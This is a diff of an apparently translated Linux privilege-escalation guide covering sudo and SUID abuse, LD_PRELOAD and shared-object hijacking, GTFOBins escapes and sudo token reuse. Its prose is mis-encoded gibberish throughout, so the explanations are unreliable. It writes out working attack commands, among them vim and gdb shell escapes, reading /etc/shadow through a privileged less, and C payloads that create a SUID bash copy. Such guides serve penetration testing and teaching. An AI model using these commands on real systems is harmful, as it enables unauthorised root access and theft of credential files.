Su Brute рдпрджрд┐ рдЖрдкрдХреЛ рдмрд╣реБрдд рд╢реЛрд░ рдХрд░рдиреЗ рдореЗрдВ рдХреЛрдИ рдЖрдкрддреНрддрд┐ рдирд╣реАрдВ рд╣реИ рдФрд░ `su` рдФрд░ `timeout` рдмрд╛рдЗрдирд░реА рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рдореМрдЬреВрдж рд╣реИрдВ, рддреЛ рдЖрдк [su-bruteforce](https://github.com/carlospolop/su-bruteforce) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдмреНрд░реВрдЯ-рдлреЛрд░реНрд╕ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) `-a` рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдмреНрд░реВрдЯ-рдлреЛрд░реНрд╕ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддрд╛ рд╣реИред +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) `-a` рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдмреНрд░реВрдЯ-рдлреЛрд░реНрд╕ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддрд╛ рд╣реИред -## рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп PATH рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ +## Writable PATH рджреБрд░реБрдкрдпреЛрдЧ ### $PATH -рдпрджрд┐ рдЖрдк рдкрд╛рддреЗ рд╣реИрдВ рдХрд┐ рдЖрдк **$PATH рдХреЗ рдХрд┐рд╕реА рдлрд╝реЛрд▓реНрдбрд░ рдХреЗ рдЕрдВрджрд░ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ** рддреЛ рдЖрдк **рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдлрд╝реЛрд▓реНрдбрд░ рдХреЗ рдЕрдВрджрд░ рдПрдХ рдмреИрдХрдбреЛрд░ рдмрдирд╛рдиреЗ** рдХреЗ рджреНрд╡рд╛рд░рд╛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рдХрд╛ рдирд╛рдо рдХрд┐рд╕реА рдХрдорд╛рдВрдб рдХреЗ рд╕рдорд╛рди рд╣реЛ рдЬреЛ рдХрд┐рд╕реА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ (рдЖрджрд░реНрд╢ рд░реВрдк рд╕реЗ рд░реВрдЯ) рджреНрд╡рд╛рд░рд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдФрд░ рдЬреЛ **рдЖрдкрдХреЗ рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдлрд╝реЛрд▓реНрдбрд░ рдХреЗ рдкрд╣рд▓реЗ рд╕реНрдерд┐рдд рдлрд╝реЛрд▓реНрдбрд░ рд╕реЗ рд▓реЛрдб рдирд╣реАрдВ рд╣реЛрддрд╛** рд╣реИред +рдпрджрд┐ рдЖрдк рдкрд╛рддреЗ рд╣реИрдВ рдХрд┐ рдЖрдк **$PATH рдХреЗ рдХрд┐рд╕реА рдлрд╝реЛрд▓реНрдбрд░ рдХреЗ рдЕрдВрджрд░ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ** рддреЛ рдЖрдк **рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдлрд╝реЛрд▓реНрдбрд░ рдХреЗ рдЕрдВрджрд░ рдПрдХ рдмреИрдХрдбреЛрд░ рдмрдирд╛рдиреЗ** рдХреЗ рджреНрд╡рд╛рд░рд╛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рдХрд╛ рдирд╛рдо рдХрд┐рд╕реА рдХрдорд╛рдВрдб рдХрд╛ рд╣реИ рдЬреЛ рдХрд┐рд╕реА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ (рдЖрджрд░реНрд╢ рд░реВрдк рд╕реЗ рд░реВрдЯ) рджреНрд╡рд╛рд░рд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдФрд░ рдЬреЛ **рдЖрдкрдХреЗ рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдлрд╝реЛрд▓реНрдбрд░ рдХреЗ рдкрд╣рд▓реЗ рд╕реНрдерд┐рдд рдлрд╝реЛрд▓реНрдбрд░ рд╕реЗ рд▓реЛрдб рдирд╣реАрдВ рд╣реЛрддрд╛** рд╣реИ $PATH рдореЗрдВред ### SUDO рдФрд░ SUID @@ -720,7 +720,7 @@ $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ `demo` `root` рдХреЗ рд░реВрдк рдореЗрдВ `vim` рдЪрд▓рд╛ рд╕рдХрддрд╛ рд╣реИ, рдЕрдм рд░реВрдЯ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рдПрдХ ssh рдХреБрдВрдЬреА рдЬреЛрдбрд╝рдХрд░ рдпрд╛ `sh` рдХреЛ рдХреЙрд▓ рдХрд░рдХреЗ рдПрдХ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╕рд░рд▓ рд╣реИред +рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ `demo` `root` рдХреЗ рд░реВрдк рдореЗрдВ `vim` рдЪрд▓рд╛ рд╕рдХрддрд╛ рд╣реИ, рдЕрдм рд░реВрдЯ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ ssh рдХреБрдВрдЬреА рдЬреЛрдбрд╝рдХрд░ рдпрд╛ `sh` рдХреЛ рдХреЙрд▓ рдХрд░рдХреЗ рдПрдХ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╕рд░рд▓ рд╣реИред ``` sudo vim -c '!sh' ``` @@ -738,7 +738,7 @@ sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` ### Sudo рдирд┐рд╖реНрдкрд╛рджрди рдмрд╛рдИрдкрд╛рд╕рд┐рдВрдЧ рдкрде -**рдХреВрджреЗрдВ** рдЕрдиреНрдп рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╛ **рд╕рд╛рдЗрдорд▓рд┐рдВрдХ** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП sudoers рдлрд╝рд╛рдЗрд▓ рдореЗрдВ: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**рдХреВрджреЗрдВ** рдЕрдиреНрдп рдлрд╝рд╛рдЗрд▓реЗрдВ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╛ **рд╕рд┐рдВрдмреЙрд▓рд┐рдХ рд▓рд┐рдВрдХ** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП sudoers рдлрд╝рд╛рдЗрд▓ рдореЗрдВ: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -780,14 +780,14 @@ export -f /usr/sbin/service ### LD_PRELOAD & **LD_LIBRARY_PATH** -**LD_PRELOAD** рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ рдпрд╛ рдЕрдзрд┐рдХ рд╕рд╛рдЭрд╛ рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ (.so рдлрд╝рд╛рдЗрд▓реЗрдВ) рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рд▓реЛрдбрд░ рджреНрд╡рд╛рд░рд╛ рд╕рднреА рдЕрдиреНрдп рдХреЗ рдкрд╣рд▓реЗ рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдорд╛рдирдХ C рдкреБрд╕реНрддрдХрд╛рд▓рдп (`libc.so`) рднреА рд╢рд╛рдорд┐рд▓ рд╣реИред рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЛ рдкреНрд░реАрд▓реЛрдб рдХрд░рдирд╛ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред +**LD_PRELOAD** рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ рдпрд╛ рдЕрдзрд┐рдХ рд╕рд╛рдЭрд╛ рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ (.so рдлрд╝рд╛рдЗрд▓реЗрдВ) рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рд▓реЛрдбрд░ рджреНрд╡рд╛рд░рд╛ рд╕рднреА рдЕрдиреНрдп рдХреЗ рдкрд╣рд▓реЗ рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдЬрд┐рд╕рдореЗрдВ рдорд╛рдирдХ C рдкреБрд╕реНрддрдХрд╛рд▓рдп (`libc.so`) рднреА рд╢рд╛рдорд┐рд▓ рд╣реИред рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЛ рдкреНрд░реАрд▓реЛрдб рдХрд░рдирд╛ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐, рд╕рд┐рд╕реНрдЯрдо рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдмрдирд╛рдП рд░рдЦрдиреЗ рдФрд░ рдЗрд╕ рд╕реБрд╡рд┐рдзрд╛ рдХреЗ рджреБрд░реБрдкрдпреЛрдЧ рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ **suid/sgid** рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдХреЗ рд╕рд╛рде, рд╕рд┐рд╕реНрдЯрдо рдХреБрдЫ рд╢рд░реНрддреЛрдВ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИ: - рд▓реЛрдбрд░ рдЙрди рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдХреЗ рд▓рд┐рдП **LD_PRELOAD** рдХреА рдЕрдирджреЗрдЦреА рдХрд░рддрд╛ рд╣реИ рдЬрд╣рд╛рдБ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЖрдИрдбреА (_ruid_) рдкреНрд░рднрд╛рд╡реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЖрдИрдбреА (_euid_) рд╕реЗ рдореЗрд▓ рдирд╣реАрдВ рдЦрд╛рддреАред - suid/sgid рд╡рд╛рд▓реЗ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдХреЗ рд▓рд┐рдП, рдХреЗрд╡рд▓ рдорд╛рдирдХ рдкрдереЛрдВ рдореЗрдВ рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХреЛ рдкреНрд░реАрд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рднреА suid/sgid рд╣реЛрддреЗ рд╣реИрдВред -рдЕрдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рддрдм рд╣реЛ рд╕рдХрддреА рд╣реИ рдЬрдм рдЖрдкрдХреЗ рдкрд╛рд╕ `sudo` рдХреЗ рд╕рд╛рде рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реЛ рдФрд░ `sudo -l` рдХрд╛ рдЖрдЙрдЯрдкреБрдЯ **env_keep+=LD_PRELOAD** рдХрдерди рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рддрд╛ рд╣реЛред рдпрд╣ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди **LD_PRELOAD** рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░ рдХреЛ рдмрдирд╛рдП рд░рдЦрдиреЗ рдФрд░ рдЗрд╕реЗ рдорд╛рдиреНрдпрддрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рднрд▓реЗ рд╣реА рдХрдорд╛рдВрдб `sudo` рдХреЗ рд╕рд╛рде рдЪрд▓рд╛рдП рдЬрд╛рдПрдВ, рдЬреЛ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдЙрдЪреНрдЪрд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рдордирдорд╛рдиреЗ рдХреЛрдб рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреА рдУрд░ рд▓реЗ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +рдЕрдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рддрдм рд╣реЛ рд╕рдХрддреА рд╣реИ рдЬрдм рдЖрдкрдХреЗ рдкрд╛рд╕ `sudo` рдХреЗ рд╕рд╛рде рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реЛ рдФрд░ `sudo -l` рдХрд╛ рдЖрдЙрдЯрдкреБрдЯ **env_keep+=LD_PRELOAD** рдХрдерди рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рддрд╛ рд╣реЛред рдпрд╣ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди **LD_PRELOAD** рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░ рдХреЛ рдмрдирд╛рдП рд░рдЦрдиреЗ рдФрд░ рдЗрд╕реЗ рдорд╛рдиреНрдпрддрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рднрд▓реЗ рд╣реА рдХрдорд╛рдВрдб `sudo` рдХреЗ рд╕рд╛рде рдЪрд▓рд╛рдП рдЬрд╛рдПрдВ, рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдЙрдЪреНрдЪрд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рдордирдорд╛рдиреЗ рдХреЛрдб рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреА рдУрд░ рд▓реЗ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред ``` Defaults env_keep += LD_PRELOAD ``` @@ -836,7 +836,7 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID рдмрд╛рдЗрдирд░реА тАУ .so рдЗрдВрдЬреЗрдХреНрд╢рди -рдЬрдм рдХрд┐рд╕реА рдмрд╛рдЗрдирд░реА рдореЗрдВ **SUID** рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдЕрд╕рд╛рдорд╛рдиреНрдп рд▓рдЧрддреА рд╣реИрдВ, рддреЛ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдирд╛ рдПрдХ рдЕрдЪреНрдЫрд╛ рдЕрднреНрдпрд╛рд╕ рд╣реИ рдХрд┐ рдпрд╣ **.so** рдлрд╝рд╛рдЗрд▓реЗрдВ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рд▓реЛрдб рдХрд░ рд░рд╣реА рд╣реИред рдЗрд╕реЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдЪрд▓рд╛рдХрд░ рдЬрд╛рдВрдЪрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: +рдЬрдм рдХрд┐рд╕реА рдмрд╛рдЗрдирд░реА рдореЗрдВ **SUID** рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдЕрд╕рд╛рдорд╛рдиреНрдп рд▓рдЧрддреА рд╣реИрдВ, рддреЛ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдирд╛ рдПрдХ рдЕрдЪреНрдЫрд╛ рдЕрднреНрдпрд╛рд╕ рд╣реИ рдХрд┐ рдпрд╣ **.so** рдлрд╝рд╛рдЗрд▓реЗрдВ рд╕рд╣реА рдврдВрдЧ рд╕реЗ рд▓реЛрдб рдХрд░ рд░рд╣реА рд╣реИред рдЗрд╕реЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдЪрд▓рд╛рдХрд░ рдЬрд╛рдВрдЪрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` @@ -859,7 +859,7 @@ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -рдЕрдВрддрддрдГ, рдкреНрд░рднрд╛рд╡рд┐рдд SUID рдмрд╛рдЗрдирд░реА рдХреЛ рдЪрд▓рд╛рдирд╛ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП, рдЬрд┐рд╕рд╕реЗ рд╕рдВрднрд╛рд╡рд┐рдд рд╕рд┐рд╕реНрдЯрдо рд╕рдордЭреМрддрд╛ рд╣реЛ рд╕рдХреЗред +рдЕрдВрддрддрдГ, рдкреНрд░рднрд╛рд╡рд┐рдд SUID рдмрд╛рдЗрдирд░реА рдХреЛ рдЪрд▓рд╛рдиреЗ рд╕реЗ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рд╕рдХреНрд░рд┐рдп рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП, рдЬрд┐рд╕рд╕реЗ рд╕рдВрднрд╛рд╡рд┐рдд рд╕рд┐рд╕реНрдЯрдо рд╕рдордЭреМрддрд╛ рд╣реЛ рд╕рдХреЗред ## рд╕рд╛рдЭрд╛ рдСрдмреНрдЬреЗрдХреНрдЯ рд╣рд╛рдЗрдЬреИрдХрд┐рдВрдЧ ```bash @@ -892,9 +892,9 @@ system("/bin/bash -p"); ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) Unix рдмрд╛рдЗрдирд░реАрдЬрд╝ рдХреА рдПрдХ рдЪрдпрдирд┐рдд рд╕реВрдЪреА рд╣реИ рдЬрд┐рд╕реЗ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рд╕реНрдерд╛рдиреАрдп рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╢реЛрд╖рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред [**GTFOArgs**](https://gtfoargs.github.io/) рд╡рд╣реА рд╣реИ рд▓реЗрдХрд┐рди рдЙрди рдорд╛рдорд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдЬрд╣рд╛рдВ рдЖрдк рдХреЗрд╡рд▓ **рдЖрд░реНрдЧреБрдореЗрдВрдЯреНрд╕** рдХреЛ рдПрдХ рдХрдорд╛рдВрдб рдореЗрдВ **рдЗрдВрдЬреЗрдХреНрдЯ** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +[**GTFOBins**](https://gtfobins.github.io) рдПрдХ рдХреНрдпреВрд░реЗрдЯреЗрдб рд╕реВрдЪреА рд╣реИ Unix рдмрд╛рдЗрдирд░реАрдЬрд╝ рдХреА, рдЬрд┐рдиреНрд╣реЗрдВ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рд╕реНрдерд╛рдиреАрдп рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╢реЛрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред [**GTFOArgs**](https://gtfoargs.github.io/) рд╡рд╣реА рд╣реИ рд▓реЗрдХрд┐рди рдЙрди рдорд╛рдорд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдЬрд╣рд╛рдВ рдЖрдк **рдХреЗрд╡рд▓ рддрд░реНрдХреЛрдВ рдХреЛ** рдПрдХ рдХрдорд╛рдВрдб рдореЗрдВ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -рдпрд╣ рдкрд░рд┐рдпреЛрдЬрдирд╛ рдЙрди Unix рдмрд╛рдЗрдирд░реАрдЬрд╝ рдХреЗ рд╡реИрдз рдлрд╝рдВрдХреНрд╢рдВрд╕ рдХреЛ рдЗрдХрдЯреНрдард╛ рдХрд░рддреА рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рд╢реЗрд▓ рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ, рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рдмрдврд╝рд╛рдиреЗ рдпрд╛ рдмрдирд╛рдП рд░рдЦрдиреЗ, рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рдиреЗ, рдмрд╛рдЗрдВрдб рдФрд░ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдХреЛ рд╕реНрдкреЙрди рдХрд░рдиреЗ, рдФрд░ рдЕрдиреНрдп рдкреЛрд╕реНрдЯ-рд╢реЛрд╖рдг рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +рдпрд╣ рдкрд░рд┐рдпреЛрдЬрдирд╛ рдЙрди Unix рдмрд╛рдЗрдирд░реАрдЬрд╝ рдХреЗ рд╡реИрдз рдлрд╝рдВрдХреНрд╢рдВрд╕ рдХреЛ рдЗрдХрдЯреНрдард╛ рдХрд░рддреА рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рд╢реЗрд▓ рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ, рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рдмрдврд╝рд╛рдиреЗ рдпрд╛ рдмрдирд╛рдП рд░рдЦрдиреЗ, рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рдиреЗ, рдмрд╛рдЗрдВрдб рдФрд░ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓реНрд╕ рдХреЛ рд╕реНрдкреЙрди рдХрд░рдиреЗ, рдФрд░ рдЕрдиреНрдп рдкреЛрд╕реНрдЯ-рд╢реЛрд╖рдг рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -913,14 +913,14 @@ https://gtfoargs.github.io/ рдпрджрд┐ рдЖрдк `sudo -l` рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЙрдкрдХрд░рдг [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдпрд╣ рдХрд┐рд╕реА рднреА sudo рдирд┐рдпрдо рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХрд╛ рддрд░реАрдХрд╛ рдЦреЛрдЬрддрд╛ рд╣реИред -### Sudo рдЯреЛрдХрди рдХрд╛ рдкреБрди: рдЙрдкрдпреЛрдЧ +### Sudo рдЯреЛрдХрди рдХрд╛ рдкреБрди: рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ -рдЙрди рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдЬрд╣рд╛рдВ рдЖрдкрдХреЗ рдкрд╛рд╕ **sudo рдПрдХреНрд╕реЗрд╕** рд╣реИ рд▓реЗрдХрд┐рди рдкрд╛рд╕рд╡рд░реНрдб рдирд╣реАрдВ рд╣реИ, рдЖрдк **sudo рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрди рдХреА рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░рдХреЗ рдФрд░ рдлрд┐рд░ рд╕рддреНрд░ рдЯреЛрдХрди рдХреЛ рд╣рд╛рдИрдЬреИрдХ рдХрд░рдХреЗ** рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛ рд╕рдХрддреЗ рд╣реИрдВред +рдЙрди рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдЬрд╣рд╛рдВ рдЖрдкрдХреЗ рдкрд╛рд╕ **sudo рдкрд╣реБрдБрдЪ** рд╣реИ рд▓реЗрдХрд┐рди рдкрд╛рд╕рд╡рд░реНрдб рдирд╣реАрдВ рд╣реИ, рдЖрдк **sudo рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрди рдХреА рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░рдХреЗ рдФрд░ рдлрд┐рд░ рд╕рддреНрд░ рдЯреЛрдХрди рдХреЛ рд╣рд╛рдИрдЬреИрдХ рдХрд░рдХреЗ** рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛ рд╕рдХрддреЗ рд╣реИрдВред рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛рдПрдБ: - рдЖрдкрдХреЗ рдкрд╛рд╕ рдкрд╣рд▓реЗ рд╕реЗ "_sampleuser_" рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдПрдХ рд╢реЗрд▓ рд╣реИ -- "_sampleuser_" рдиреЗ **рдЕрдВрддрд┐рдо 15 рдорд┐рдирдЯ рдореЗрдВ рдХреБрдЫ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `sudo` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рд╣реИ** (рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, рдпрд╣ рд╡рд╣ рдЕрд╡рдзрд┐ рд╣реИ рдЬрдм sudo рдЯреЛрдХрди 